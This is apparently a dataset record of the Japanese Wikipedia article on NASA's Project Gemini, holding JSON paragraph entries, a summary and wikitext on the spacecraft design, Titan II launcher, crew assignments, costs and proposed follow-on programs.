"text": "一方でマーキュリーの脱出装置の設計者だったマキシム・ファジェット (Maxime Faget) は、この装置には決して乗り気ではなかった。射出座席は飛行士に深刻な損傷を負わせる可能性がある上に、ロケットが音速を超えると脱出不可能になってしまうため、座席を使用できる時間は発射後40秒以内に限られていた。彼はまた、ロケットが上昇している最中に機外に放出されると、飛行士が排気ガスの中に巻き込まれてしまうことを懸念し、「最もよいのは、脱出装置を使うような事態に陥らせないようにすることだ」と述べた。",
"title": "宇宙船"
},
{
"paragraph_id": 19,
"tag": "p",
"text": "ジェミニは飛行操縦の管理と制御を容易にするためのコンピューターを搭載した、初の有人宇宙船だった。またマーキュリーにはなかった、通常の航空機で使用されているようなフライトレーダーや姿勢指示器も採用していた。",
"title": "宇宙船"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "当初ジェミニはハンググライダーのようなロガロ翼を使い、海面ではなく地上に着陸することを目指していた。この場合飛行士は、航空機のように頭部を上にした姿勢で着座して機体を操縦することになった。これを可能にするために、ロガロ翼は機体の先端部ではなく、バランスを取るために後部の熱保護板の近くに取りつけられた。また機体と翼を結ぶワイヤーは2つの座席のハッチの間に設けられ、金属の板で覆われていた。これらの案は最終的には却下され、マーキュリーと同様にパラシュートで海に着水することになった。機体はパラシュートから水平に近い角度でつり下げられるため、着水の際は底部の円錐の縁の部分から水面を切るようにして入水した。これによって衝撃が緩和されたため、マーキュリーで使用されたようなエアバッグは不要になった。",
"title": "宇宙船"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "接続区画は、順に逆噴射区画と機器区画に分かれていた。",
"title": "宇宙船"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "逆噴射区画には、4基の固体燃料ロケットエンジンが設置されていた。それぞれは球にノズルがついた形をしており、梁に取りつけられていた。梁は2本あり、機体の中心で十字型に交叉していた。帰還の際には1基ずつ順に点火されるが、ロケットが上昇している最中に何らかの異常が発生した場合は4基同時に点火され、宇宙船をロケットから切り離すことになっていた。",
"title": "宇宙船"
},
{
"paragraph_id": 23,
"tag": "p",
"text": "ジェミニには軌道姿勢制御システムが搭載されていた。このシステムは16基の噴射機から構成されており、マーキュリーと同様にヨー・ピッチ・ロールの姿勢制御をするとともに、直行するすべての3軸 (前進・後退、左移動・右移動、上昇・下降) への平行移動の制御を可能にした。平行移動の能力を得たことにより、他の衛星とのランデブーやアジェナ標的機とのドッキングの際に必要になる、軌道傾斜角や高度の変更が可能になった。またアジェナ衛星のロケットエンジンを使用することにより、さらに大きな軌道変更ができるようになった。",
"title": "宇宙船"
},
{
"paragraph_id": 24,
"tag": "p",
"text": "電力は初期の短期間の飛行では通常の電池から供給されたが、後期の長期間の飛行では有人宇宙船としては初めて燃料電池が使用された。",
"title": "宇宙船"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "ジェミニの後期の飛行は、アポロの飛行が開始されるほんの1年ほど前に行われたため、いくつかの点においてはアポロよりも優れていた。機体の設計に関しては、どんな小さな部分もグリソム飛行士の影響でジェット戦闘機のような特徴を取り入れていたため、「パイロットのための宇宙船」として知られるようになった。またアメリカの有人宇宙飛行計画が、長期間の飛行・ランデブー・船外活動の能力において明らかにソ連を凌駕しはじめたのはこの時期であった。この間、ソ連は人間を月に送ることを目指してソユーズ宇宙船を開発していたが、政治的あるいは技術的な問題が立ちはだかったことにより、有人月飛行計画は最終的に放棄された。",
"title": "宇宙船"
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{
"paragraph_id": 26,
"tag": "p",
"text": "タイタンIIはアトラスに替わる空軍の第二世代の大陸間弾道ミサイル (Inter Continental Ballistic Missile, ICBM) として、1962年に開発された。燃料と酸化剤にはアトラスでは液体酸素とケロシンが使用されていたが、タイタンでは四酸化二窒素とヒドラジンが採用された。これは混ぜ合わせただけで発火するという性質を持っているため、点火装置などの部品が不要になり、構造を簡素化することができた。また長期間の保管が可能になり、発射の手順も簡略化できた。唯一の弱点は、きわめて毒性が強いということであった。一方で初期のタイタンはポゴ振動が発生するという、人間を乗せて打ち上げるには深刻な問題を抱えていた。",
"title": "発射機"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "ジェミニを打ち上げたタイタンには、ASC-15という独自の (独立した) 誘導コンピューターが搭載されていた。ジェミニ誘導コンピューターは重量が26.7キログラムで、サターンロケットに搭載されていた「サターン発射機デジタルコンピューター」ときわめて似ているものだった。",
"title": "発射機"
},
{
"paragraph_id": 28,
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"text": "16名の飛行士が、10の飛行に搭乗した。:",
"title": "宇宙飛行士"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "ジェミニ計画における飛行士の選抜について最大の権限を持っていたのは、飛行士管理部長のドナルド・スレイトンだった。それぞれの飛行に本搭乗員と予備搭乗員を割り当て、予備搭乗員はその3つ後の飛行で本搭乗員になるという原則は、ジェミニ以降に確立した。スレイトンはまた最初の飛行任務を、マーキュリー・セブンで残っている4人の現役の飛行士、シェパード、グリソム、クーパー、シラーに与えるつもりだった (7人のうちジョン・グレンは1964年1月にNASAを退役していた。またマーキュリー・アトラス7号で、帰還の際に問題を発生させNASAの一部の上層部から非難されていたスコット・カーペンターは、海軍の海底居住実験SEALABに参加するために休職中で、1964年7月にオートバイ事故による怪我で任務を解かれた。スレイトン自身は心臓疾患が原因で地上任務に就いていた)。",
"title": "宇宙飛行士"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "1963年の後半、スレイトンはまずシェパードとスタッフォードをジェミニ3号の、マクディヴィットとホワイトを4号の、シラーとヤングを5号 (アジェナとの初のランデブーに成功することになる) の飛行士に任命した。3号の予備搭乗員はグリソムとボーマンで、彼らは初の長期宇宙滞在を目指す6号で飛行することになっていた。最後にコンラッドとラヴェルが4号の予備搭乗員に任命された。だがアジェナ標的衛星の開発の遅れにより、飛行士のローテーションに1回目の修正が必要となった。まずシラーとヤングが3号のシェパードとスタッフォードの予備搭乗員になり、同時に6号の飛行士に任命された。またグリソムとボーマンは、5号で長期宇宙滞在をすることになった。",
"title": "宇宙飛行士"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "2度目の修正は、シェパードが内耳の疾患であるメニエール病を煩ったことにより生じた。まずグリソムが3号の船長に異動になった。またスレイトンは、グリソムには性格的にヤングのほうが相性が良いと感じていたので、スタッフォードとヤングを入れ替えた。さらにクーパーを、長期滞在をする5号の船長にした。また性格的な相性の理由から、4号の予備搭乗員の船長だったコンラッドを5号の飛行士に、ボーマンを4号の予備船長に異動した。最後に彼はアームストロングとエリオット・シーを5号の予備搭乗員に任命した。3度目の修正は、スレイトンがシーは体力的にジェミニ8号の船外活動をやりこなせないと感じたことにより行われた。彼はシーを9号の本搭乗員の船長にし、スコットを8号の飛行士に、バセットを9号の飛行士にした。",
"title": "宇宙飛行士"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "4回目にして最後となる修正は、シーとバセットが訓練機の墜落事故で死亡したことにより行われた。両名が搭乗するT-38は、セントルイスのマクドネル社の建物に激突した。奇しくもそこでは、彼らが搭乗することになる9号の宇宙船が製造中であった。予備搭乗員だったスタッフォードとサーナンが、新たに9A号と名づけられた飛行の本搭乗員となり、10号の予備搭乗員だったラヴェルとオルドリンが9号の予備搭乗員になった。これにより、ラヴェルとオルドリンには12号の本搭乗員になる道が開けた。",
"title": "宇宙飛行士"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "アポロ1号の火災事故でガス・グリソム、エドワード・ホワイト、ロジャー・チャフィーの3飛行士が死亡したことにより、この最終調整はアポロ計画における最初の7名の飛行士の選抜に影響を与えることになった。それはまた、この7名のうち誰が最初に月面に降り立つのかということを意味していた。",
"title": "宇宙飛行士"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "1964年から1965年にかけ、宇宙船システムと熱遮蔽板のテストのため2機の無人機が打ち上げられ、その後1965年から1966年にかけ10回の有人飛行が行われた。発射にはすべてタイタンIIロケットが使用された。ジェミニ計画における重要点は、以下の通りである。:",
"title": "飛行計画"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "軌道上でランデブーを行うのは、簡単な操作ではない。ある宇宙船が、先行する他の宇宙船に追いつこうとしたとする。この場合単純に速度を上げたら、高度が上昇して地球を周回する速度が減少するため、結果的には逆に距離が離れてしまうことになる。正しい手順は、まず減速することである。すると低い軌道に移行して宇宙船の速度が増すため、他機に先行する。その後再び加速すれば、目標の衛星と同じ軌道に乗ることができる。これらの手順を飛行士に訓練させるため、特殊なシミュレーターが作られた。",
"title": "飛行計画"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "NASAは空軍のタイタンミサイルを、ジェミニの発射機タイタンII GLVとして採用した (同様にマーキュリー計画においては、空軍のアトラスミサイルが発射機に採用されていた)。ジェミニ発射機には空軍の製造番号が割り振られていて、その番号は機体の4カ所 (第一段および第二段の前面と後面) に表示されていた。発射場の19番発射施設の維持管理は空軍のスタッフが担当し、同時にすべての発射機の準備および発射の進行も彼らが行った。タイタンを運営したことで得られたデータや経験は、空軍とNASA双方にとって有益なものであった。",
"title": "ジェミニ - タイタンの発射および製造番号"
},
{
"paragraph_id": 37,
"tag": "p",
"text": "空軍が割り当てたジェミニ発射機の製造番号は、上記の「飛行リスト」の表に書かれているとおりである。1962年に15機のタイタンIIが発注されたため、番号は「62-12XXX」となるはずだったが、実際には「12XXX」とだけ表示されていた。15機のうち最後の3機は1964年7月30日に発注がキャンセルされ製造されなかったが、GLV-13には「12568」、GLV-14には「12569」、GLV-15には「12570」の番号が与えられていた。",
"title": "ジェミニ - タイタンの発射および製造番号"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "1969年1月にNASAが議会に提出するために準備した、マーキュリー、ジェミニおよびアポロ (初の月面着陸を行う) にかかる経費の見積もりによれば、ジェミニ計画の経費は12億8340万ドルで、その内訳は宇宙船に7億9740万ドル、発射機に4億980万ドル、その他が7620万ドルであった。またオンラインマガジンの「スペース・レヴュー (The Space Review)」が2010年に行った試算によれば、1962年から1967年にかけてのジェミニ計画の経費を1967年のインフレ率で換算すると13億ドルで、2010年の貨幣価値では73億ドルに相当するとのことであった。またそれぞれの発射にかかった経費も、2010年現在で7億2300万ドルに相当した。",
"title": "計画の経費"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "マーキュリーおよびジェミニ宇宙船の元請だったマクドネル社はアポロ宇宙船の入札にも参加していたが、ノースアメリカン社に敗れていた。マクドネル社は後に、派生的な応用計画を提案することでジェミニ計画を拡張することを模索した。その提案によれば、宇宙船は地球から遠く離れた宇宙空間を飛行することができ、またアポロよりも早く安いコストで有人月面着陸を達成することさえできたが、それらの提案はNASAに退けられた。",
"title": "提案された延長および応用計画"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "この一連の応用計画は発展型ジェミニ計画とみなされ、その中には軍事的飛行や宇宙ステーションへの人員や物資の輸送、さらには月飛行などが含まれていた。月飛行の提案には、アジェナ標的衛星のために開発されたドッキング装置を、宇宙船を月に送り込むことができるセントールのようなより強力な上段ロケットに乗せて再使用することから、ジェミニを改造した宇宙船で月面着陸を可能にさせることまで含まれていた。この応用計画は、アポロより前に有人月周回飛行を達成し、アポロ宇宙船が危機に陥った際に飛行士を救出したり緊急避難場所を提供することなども含み、さらにはアポロ計画そのものに取って代わるものにさえなるはずであった。",
"title": "提案された延長および応用計画"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "発展型ジェミニの提案の中には、当初の設計から変わっていない「在庫品」の宇宙船を使用することも含まれていたが、一方でその他のものは、より多くの飛行士が搭乗でき、宇宙ステーションとドッキングし、月を訪れ、その他の飛行計画を実行することができる改造型であることを特徴としていた。また検討された改造の中には、宇宙船に航空機のような翼をつけたりパラセールを搭載するなどして、水平着陸を可能にさせるものなどもあった。",
"title": "提案された延長および応用計画"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "ビッグ・ジェミニ (または\"Big G\") は、1969年8月にマクドネル社によってなされたもうひとつの提案である。これは宇宙船により多くの搭載能力を持たせ、究極的にはアポロや後のスペースシャトルで行われたような、宇宙への全目的的な飛行を可能にすることを意図していた。",
"title": "提案された延長および応用計画"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "この研究は、軌道上の宇宙ステーションに再補給をするために使用されることになる、ジェミニに由来する輸送用宇宙船の定義を予備的に設定するために行われた。その設計においては、あらかじめ選定された地上の特定の場所に着陸できる能力、機能の刷新、および機器の再使用などが要求された。宇宙船には2つの基本線が設定された。1つは最小限の改造 (minimum modification) を施し乗員9名を搭乗させるジェミニB案で、Min-Mod Big Gと呼ばれた。もう1つは外形は同じだが、新しい最先端のシステムを搭載し乗員12名を搭乗させる、Advanced Big G (発展型ビッグG) と呼ばれるより高度な発想のものであった。これらの宇宙船の発射機としては、サターンIB、タイタンIIIM、サターンINT-20などが検討された。",
"title": "提案された延長および応用計画"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "空軍はジェミニのシステムに関心を示し、その改造型の宇宙船を有人軌道実験室 (MOL) の搭乗機として使用することを決定した。この目的を達成するためジェミニ2号の宇宙船が改装され、MOLの実物大模型の上に乗せられタイタンIIICロケットで打ち上げられたが、同一の宇宙船が二度宇宙に行ったのはこれが最初の例であった。",
"title": "提案された延長および応用計画"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "また空軍はジェミニ宇宙船を、地上の (特殊な偵察用カメラを搭載しない) 概略的な監視を行ったり、不審な衛星へのランデブーを実行したりするような、軍事的応用のために採用する考えを持っていた。この計画はブルー・ジェミニと呼ばれた。空軍は宇宙船が海軍に回収されることになるという事実を好まなかったため、ブルー・ジェミニには最終的に本来の設計にあったような翼を持たせ、3本の橇を使って地上に着陸させることを意図していた。",
"title": "提案された延長および応用計画"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "当初NASAの内部には経費を空軍と負担し合うことを歓迎する者もいたが、後にはNASA自身で計画を進めたほうが上手くいくことになるということで合意が形成された。ブルー・ジェミニ計画は1963年に国防長官のロバート・マクナマラによって廃止された。彼は必要な軍事的実験は、NASAのジェミニ計画によって実行できると決定した。またMOL計画は1969年に国防長官メルヴィン・レイヤード (Melvin Laird) によって廃止された。彼は無人の偵察衛星が、同じ機能をより安い費用で行えると決断した。",
"title": "提案された延長および応用計画"
}
]
| ジェミニ計画は、アメリカ合衆国航空宇宙局(NASA)の二度目の有人宇宙飛行計画である。1961年から1966年にかけ、マーキュリー計画とアポロ計画の間に行われた。ジェミニ宇宙船は2名の宇宙飛行士を宇宙に送る能力があり、1965年から1966年までの間に10名の宇宙飛行士が地球周回低軌道を飛行した。この計画により、アメリカは東西冷戦時代にソビエト連邦との間でくり広げられた宇宙開発競争において優位に立つこととなった。 | {{Infobox space program
| name = ジェミニ計画
| image = [[File:GeminiPatch.png|frameless|upright]]
| alt = 暗い青色の円形を背景に金色で塗られたローマ数字の2が描かれている。
| country = [[アメリカ合衆国]]
| organization = [[アメリカ航空宇宙局|NASA]]
| purpose = {{Unbulleted list|有人地球周回飛行|[[船外活動]]|[[ランデブー (宇宙開発)|ランデブー]]と[[宇宙機のドッキングおよび係留|ドッキング]]}}
| status = 完了
| cost = {{Unbulleted list|13億ドル(1967年)<ref name="lafleur20100308"/>}}
| duration = 1961年 – 1966年
| firstflight = {{Unbulleted list|[[ジェミニ1号]]|{{Start date|1964|04|08}}}}
| firstcrewed = {{Unbulleted list|[[ジェミニ3号]]|{{Start date|1965|03|23}}}}
| lastflight = {{Unbulleted list|[[ジェミニ12号]]|{{Start date|1966|11|11}}}}
| successes = 10
| partialfailures = 2 ([[ジェミニ8号]]と[[ジェミニ9-A号]])
| launchsite = [[ケープカナベラル空軍基地]]
| crewvehicle = [[#宇宙船|ジェミニ宇宙船]]
| capacity = 2名
| launcher = {{Hlist|[[アトラス・アジェナ]]|[[タイタンII GLV]]}}
}}
'''ジェミニ計画'''(ジェミニけいかく、{{lang-en|Project Gemini}})は、[[アメリカ合衆国]][[アメリカ航空宇宙局|航空宇宙局(NASA)]]の二度目の[[有人宇宙飛行]]計画である。[[1961年]]から[[1966年]]にかけ、[[マーキュリー計画]]と[[アポロ計画]]の間に行われた。[[ジェミニ宇宙船]]は2名の宇宙飛行士を[[宇宙]]に送る能力があり、1965年から[[1966年]]までの間に10名の[[宇宙飛行士]]が[[低軌道|地球周回低軌道]]を飛行した。この計画により、アメリカは[[冷戦|東西冷戦]]時代に[[ソビエト連邦]]との間でくり広げられた[[宇宙開発競争]]において優位に立つこととなった。
== 概要 ==
ジェミニの目標はアポロ計画で必須となる[[月面着陸]]のための技術を開発することで、[[月]]に行って帰ってくるまでに必要とされる期間の宇宙滞在を達成し、[[船外活動]]によって[[宇宙船]]の外に出て活動を行い、[[ランデブー (宇宙開発)|ランデブー]]と[[宇宙機のドッキングおよび係留|ドッキング]]の実行をする際に必要となる[[軌道マヌーバ|軌道操作]]の技術を切り開いた。これらの新技術が検証されたことにより、アポロ計画では基本試験を行うことなく、月飛行という本来の目的を遂行することができた。
宇宙船はすべて[[フロリダ州]]の[[ケープカナベラル空軍基地]]19番発射施設から打ち上げられた。発射機には[[大陸間弾道ミサイル]]を改良した[[タイタンII GLV|タイタンⅡ型ロケット]]が使用された<ref group="Note">1966年に[[有人軌道実験室]]の試験飛行のために[[ジェミニ2号]]を再発射させた際には、唯一タイタンIIではなくタイタンIIIC が使用された</ref>。また[[ヒューストン]]の[[ジョンソン宇宙センター]]に新たに建設されたミッション・コントロールセンターが飛行管制に使用されたのも、この計画が初めてであった<ref group="Note">[[ジェミニ3号]]までは新しい管制センターはまだ試験段階であったため、ケープ・ケネディにあるマーキュリー管制室が使用された。ヒューストンが使用されたのはジェミニ4号からで、このときはマーキュリー管制室はバックアップに使われた。ジェミニ5号から現在に至るまでは、宇宙船の管制はすべてヒューストンで行われている</ref>。
計画を支えた飛行士には、[[マーキュリー・セブン]]と呼ばれるアメリカ最初の宇宙飛行士に加え、グループ2と呼ばれる第二次選抜隊および[[1963年]]に任命されたグループ3と呼ばれる第三次選抜隊が含まれていた。計画期間中に[[ジェミニ9号]]で搭乗予定だった飛行士を含む3名が、訓練中の航空機事故により死亡している。9号は結局予備搭乗員によって遂行されたが、これは今日に至るまでNASAの歴史において唯一の事例であった。
ジェミニ宇宙船は性能が優れていたため、[[アメリカ空軍|空軍]]は[[有人軌道実験室]] (Manned Orbital Laboratory, MOL) に使用することを検討していたが、MOL計画は後に中止された。ジェミニの主任設計官ジム・シャンベルリン (Jim Chamberlin) は、地球と月の間の宇宙空間を飛行し月面に着陸する詳細な計画を1961年の終わりに立案していた。彼はジェミニはアポロよりも早く、しかも安いコストで月面着陸を実行できると信じていたが、NASAの上層部はこの案を採用しなかった。[[1969年]]、[[マクドネル・ダグラス]]社はジェミニを改良した[[ビッグ・ジェミニ]]という宇宙船を提案した。ビッグ・ジェミニはアポロ応用計画 (Apollo Applications Project, AAP) で使用される[[宇宙ステーション]]に一度で最大12名までの飛行士を送り込むことができるはずだったが、AAPで実現されたのは実存する[[アポロ宇宙船]]を使用する[[スカイラブ計画]]のみだったため、ビッグ・ジェミニが実行されることはなかった。
==計画の発端と目的==
1961年[[5月25日]]、人間を月面に着陸させるという現行のアポロ計画が[[ジョン・F・ケネディ]] (John Fitzgerald Kennedy) [[アメリカ合衆国大統領|大統領]]によって認可された後、NASAの職員たちには、アポロを成立させるための特定の飛行技術を開発するには、マーキュリーに継続する何らかの計画が必要になることが明らかになった。
特にアメリカの有人宇宙飛行計画を推進するスペース・タスク・グループ (Space Task Group) の主任技術者であったジム・シャンベルリンは、すでに1961年2月の段階でマーキュリーとアポロの橋渡しをする計画を開始することを命じられていた{{sfnp|Gainor|2001|pages=93, 97–99}}。同年3月、シャンベルリンは[[ワロップス島]]にあるNASAの秘密施設で、ジェミニ計画に関する2種類の初期案を提出した{{sfnp|Gainor|2001|pages=93, 97–99}}。7月には[[セントルイス]]のマクドネル社で、ジェミニ宇宙船の原型となるマーキュリー・マークII宇宙船の縮尺模型が公開された{{sfnp|Gainor|2001|pages=93, 97–99}}。[[12月7日]]、NASAはジェミニ計画を承認し{{sfnp|Gainor|2001|pages=93, 97–99}}、同月22日にはマクドネル社が宇宙船製造の主契約企業に指定された{{sfnp|Hacker|Grimwood|1977|pages= XV, 75}}。
[[1962年]][[1月3日]]に計画が公表された際、あらためて名称は''ジェミニ計画'' (Project Gemini) と命名された。gemini(ゲミニー)は[[ラテン語]]で「[[双子]]」あるいは「2人」を意味し、宇宙船が飛行士2名を搭乗させることを反映している。Geminiはまた[[黄道帯]]の第三[[星座]]である[[ふたご座]]の学名でもある。ただし、星座のGeminiは[[英語]]では「ジェミナイ」と読むが、「Project Gemini」の Geminiは「ジェミニ(ー)」(英語ではジェミニとジェミニーに[[:en:Happy tensing|発音の区別はない]])と読む<ref name="NYTFirstMan">{{cite news |last1=Schwartz |first1=John |title=Why Does ‘First Man’ Say Gemini as ‘Geminee’? NASA Explains. Sorta. |work=The New York Times |date=October 17, 2018|url=https://www.nytimes.com/2018/10/17/movies/first-man-gemini-nasa.html|accessdate=November 6, 2018}}</ref>。
計画の主目的は、以下のとおりである{{sfnp|Loff|2013}}:
* 月面着陸に要求される最少8日間から最大2週間にいたるまでの長期間の宇宙飛行に対する、人体や機器の耐久性を検証すること
* 他の宇宙船とのランデブーとドッキングを達成し、目標宇宙船の推進装置を使用して結合された両宇宙船の軌道操作を行うこと
* 宇宙船の生命維持環境の外に出て船外活動 (宇宙『遊泳』とも言う) を行い、宇宙環境での飛行士の任務達成能力を検証すること
* [[大気圏再突入]]および予定された地点に帰還するための技術を完成させること<ref group="Note">[[パラグライダー]]を使用して着地させる要求は、1964年に却下された。</ref>
==組織==
人員2名を搭乗させるジェミニ宇宙船の設計は、[[カナダ]]人のジム・シャンベルリンが行った。シャンベルリンはジェミニ計画に参加する以前は、[[アブロ・カナダ]]社の[[アブロ・カナダ CF-105]][[要撃機]]計画における主任[[空気力学]]者であった{{sfnp|Murray|Cox|1989|pages=33–34}}。彼がアブロ社の25人の部下の技術者とともにNASAに参加したのはCF-105計画が中止になったあとのことで、スペース・タスク・グループにおけるジェミニ計画の技術部門の責任者に任命された{{sfnp|Murray|Cox|1989|pages=33–34}}{{sfnp|Reguly|1965|page=7}}。また元請企業はマクドネル・エアクラフト社であり、同社はマーキュリー計画の宇宙船の製造も担当していた{{sfnp|Hacker|Grimwood|1977|pages= XV, 75}}。
ジェミニ宇宙船の開発と設計に深く関わっていたのは宇宙飛行士の[[ガス・グリソム]] (Gus Grissom) で、他の飛行士たちはジェミニ宇宙船に「ガスモバイル (Gusmobile, ガスの自動車の意)」とあだ名をつけていた{{sfnp|Agle|1998}}。死後の1968年に出版された自著「ジェミニ!」によれば、グリソムが来たるべきジェミニ計画に心血を注いだのは、マーキュリー計画が終りに近づき、同計画で自身が再び搭乗できる可能性がなくなったことに気づいたからであった。
ジェミニ計画を管理していたのは[[テキサス州]]ヒューストンのジョンソン宇宙センターで、同所はまた[[ワシントンD.C.]]に本部を持つNASAの有人宇宙飛行局の指示を受けていた。計画の代行取締役は、NASAの有人宇宙飛行の準監督者ジョージ・ミューラー (George E. Mueller) 博士が務めていた。有人宇宙飛行の任務遂行本部の副指揮官であるウィリアム・シュナイダー (William C. Schneider) は、ジェミニ6号の開始からすべての飛行の指揮官を担当した。
マクドネル社の技術者[[ギュンター・ウェント]](Guenter Wendt) はマーキュリーとジェミニの両方で発射準備を監督し、アポロで飛行士を打ち上げる際にも同じ任務を担当することになっていた。彼のチームは発射直前に発射台周辺を封鎖する作業も担当した。飛行士が宇宙船のハッチを閉じる前に見る最後の人間は、ウェントであった。飛行士らは、宇宙船のコンディションについて彼が絶対的な権限を持ち、すべての責任を持つことを望み、また彼と気さくで良好な人間関係を築いた{{sfnp|Farmer|Hamblin|2004|pages=51–54}}。
==宇宙船==
[[File:Gemini spacecraft.jpg|thumb|left|ジェミニ宇宙船の解剖図]]
1961年、NASAは宇宙船製造の元請企業に、マーキュリー宇宙船の元請だったマクドネル・エアクラフト社を指名した。第一号機は1963年に納入された。全長は5.61[[メートル]]、直径は3メートルで、重量は3,200[[キログラム]]から3,790キログラムまでと飛行によって異なった{{sfnp|Gatland|1976|page=42}}。
ジェミニの司令船 (帰還区画とも呼ばれる) は、基本的にはマーキュリー宇宙船の拡大版であった。マーキュリーと違い、[[逆噴射]]ロケット、電源、推進装置、酸素、水などは司令船の後部に取りつけられている接続区画に搭載されていた。ジェミニにおける設計の主な改良点は宇宙船のすべての内部システムを機器区画に搭載したことで、これによりすでに試験された機器を取り去ったり妨げたりすることなく、独立して検査できるようになったことであった。
===帰還区画===
船内の機器の多くは、点検用のドアを開ければ手が届くところに配置されていた。マーキュリーと違いジェミニは回路に[[真空管]]を一切使用せず、すべて[[半導体素子]]を用いていた。またそのモジュール (区画) は、非常に修理しやすくなるよう設計されていた{{sfnp|Dryden|1964|page=362}}。
脱出装置には、マーキュリーのような[[固体燃料ロケット]]で射出する塔型の[[打ち上げ脱出システム|緊急脱出用ロケット]]は使用せず、代わりに航空機などで採用されている[[射出座席]]を用いていた。塔型の装置は重く構造が複雑であり、またタイタンIIの[[自然発火]]性の[[ロケットエンジンの推進剤|推進剤]]は接触すればただちに燃焼してしまうため、NASAの技術者は塔は不必要であると推測した。[[アトラス (ロケット)|アトラス]]や[[サターンロケット|サターン]]のような極低温の燃料を使用する[[ロケット]]に比較すると、タイタンIIは爆発した際の[[爆風]]の影響は小さく、故障したロケットから飛行士を退避させるには射出座席で十分だった。射出座席が使用できない高高度では宇宙船そのものを切り離し、飛行士は船内にとどまったまま脱出することになっていた{{sfnp|Dryden|1964|page=362}}。
射出座席使用の主な支持者は、NASAのスペース・タスク・グループ技術部長のシャンベルリンだった。彼はマーキュリーの脱出塔をずっと好まず、重量を削減できるもっと簡素な代替策を用いることを望んでいた。シャンベルリンはアトラスやタイタンII[[ミサイル]]の発射が失敗した際のさまざまな映像を検証し、機体の爆発で発生する火球のおおよその大きさを計測した。その結果、タイタンIIの爆発で生じる火球は十分に小さいため、宇宙船からの脱出は射出座席だけで十分であると判断した。
一方でマーキュリーの脱出装置の設計者だったマキシム・ファジェット (Maxime Faget) は、この装置には決して乗り気ではなかった。射出座席は飛行士に深刻な損傷を負わせる可能性がある上に、ロケットが[[音速]]を超えると脱出不可能になってしまうため、座席を使用できる時間は発射後40秒以内に限られていた。彼はまた、ロケットが上昇している最中に機外に放出されると、飛行士が排気ガスの中に巻き込まれてしまうことを懸念し、「最もよいのは、脱出装置を使うような事態に陥らせないようにすることだ」と述べた。
ジェミニは飛行操縦の管理と制御を容易にするための[[コンピューター]]を搭載した、初の有人宇宙船だった。またマーキュリーにはなかった、通常の航空機で使用されているようなフライト[[レーダー]]や[[姿勢指示器]]も採用していた{{sfnp|Tomayko|1988|pages=10-19}}。
[[File:Gemini paraglider.JPG|thumb|[[エドワーズ空軍基地]]で行われた、[[パラグライダー]]を使用しての飛行試験。1964年8月]]
当初ジェミニは[[ハンググライダー]]のようなロガロ翼を使い、海面ではなく地上に着陸することを目指していた。この場合飛行士は、航空機のように頭部を上にした姿勢で着座して機体を操縦することになった。これを可能にするために、ロガロ翼は機体の先端部ではなく、バランスを取るために後部の熱保護板の近くに取りつけられた。また機体と翼を結ぶワイヤーは2つの座席のハッチの間に設けられ、金属の板で覆われていた。これらの案は最終的には却下され、マーキュリーと同様に[[パラシュート]]で海に着水することになった。機体はパラシュートから水平に近い角度でつり下げられるため、着水の際は底部の円錐の縁の部分から水面を切るようにして入水した。これによって衝撃が緩和されたため、マーキュリーで使用されたような[[エアバッグ]]は不要になった。
===接続区画===
接続区画は、順に逆噴射区画と機器区画に分かれていた。
====逆噴射区画====
逆噴射区画には、4基の固体燃料[[ロケットエンジン]]が設置されていた。それぞれは球に[[ノズル]]がついた形をしており、梁に取りつけられていた。梁は2本あり、機体の中心で十字型に交叉していた。帰還の際には1基ずつ順に点火されるが、ロケットが上昇している最中に何らかの異常が発生した場合は4基同時に点火され、宇宙船をロケットから切り離すことになっていた。
====機器区画====
ジェミニには[[軌道姿勢制御システム]]が搭載されていた。このシステムは16基の噴射機から構成されており、マーキュリーと同様に[[ヨーイング|ヨー]]・[[ピッチング|ピッチ]]・[[ローリング|ロール]]の[[姿勢制御]]をするとともに、直行するすべての3軸 (前進・後退、左移動・右移動、上昇・下降) への[[平行移動]]の制御を可能にした。平行移動の能力を得たことにより、他の衛星とのランデブーや[[アジェナ標的機]]とのドッキングの際に必要になる、[[軌道傾斜角]]や高度の変更が可能になった。またアジェナ衛星のロケットエンジンを使用することにより、さらに大きな軌道変更ができるようになった。
電力は初期の短期間の飛行では通常の電池から供給されたが、後期の長期間の飛行では有人宇宙船としては初めて[[燃料電池]]が使用された。
ジェミニの後期の飛行は、アポロの飛行が開始されるほんの1年ほど前に行われたため、いくつかの点においてはアポロよりも優れていた。機体の設計に関しては、どんな小さな部分もグリソム飛行士の影響で[[ジェット機|ジェット]][[戦闘機]]のような特徴を取り入れていたため、「パイロットのための宇宙船」として知られるようになった。またアメリカの有人宇宙飛行計画が、長期間の飛行・ランデブー・船外活動の能力において明らかにソ連を凌駕しはじめたのはこの時期であった<ref group="Note">ジェミニが10回の飛行をしている間、ソ連は一度も有人宇宙飛行を行わなかった。また史上初の宇宙遊泳を達成したにもかかわらず、1969年1月まで船外活動が行われることはなかった。</ref>。この間、ソ連は人間を月に送ることを目指して[[ソユーズ宇宙船]]を開発していたが、政治的あるいは技術的な問題が立ちはだかったことにより、有人月飛行計画は最終的に放棄された。
==発射機==
{{Main|タイタンII GLV}}
